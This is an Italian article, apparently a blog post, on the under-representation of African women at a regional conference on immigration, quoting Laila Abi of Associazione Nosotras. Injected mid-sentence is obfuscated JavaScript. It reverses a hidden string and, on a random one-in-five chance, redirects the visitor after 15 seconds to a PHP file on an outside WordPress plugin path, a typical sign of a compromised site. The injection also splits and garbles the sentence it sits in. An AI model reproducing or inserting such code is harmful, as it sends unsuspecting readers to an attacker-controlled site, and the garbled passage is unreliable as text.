E la voce delle donne?

image_pdfimage_print

Le – poche – donne africane che hanno avuto la possibilità di parlare all’interno dell’iniziativa della Regione sono state tutte concordi nel sottolineare la scarsa rappresentanza femminile, sollecit (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando a prendere consapevolezza di come proprio le donne invece abbiano un ruolo di primo piano nella crescita economica e culturale dell’Africa. Con le parole di Laila Abi, Associazione Nosotras: “In Africa la donna ha quasi sempre una posizione sottoposta, non ha voce in capitolo, anche se in verità è la donna a sostenere la famiglia col proprio lavoro ed impegno. E sempre la donna è la trasmettitrice della cultura e dell’istruzione. Per questo non vogliamo che anche qui si riproduca questo sistema che relega le donne in secondo piano: bisogna dar modo alle donne africane di portare la propria voce, dare spazio alle loro iniziative, prevedere la loro attiva partecipazione a questi importanti momenti di confronto e dibattito”.
Non dimentichiamoci infatti che l’immigrazione verso l’Italia dall’Africa è composta soprattutto da donne, ma i rappresentanti delle associazioni presenti al convegno erano per la stragrande maggioranza uomini.

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *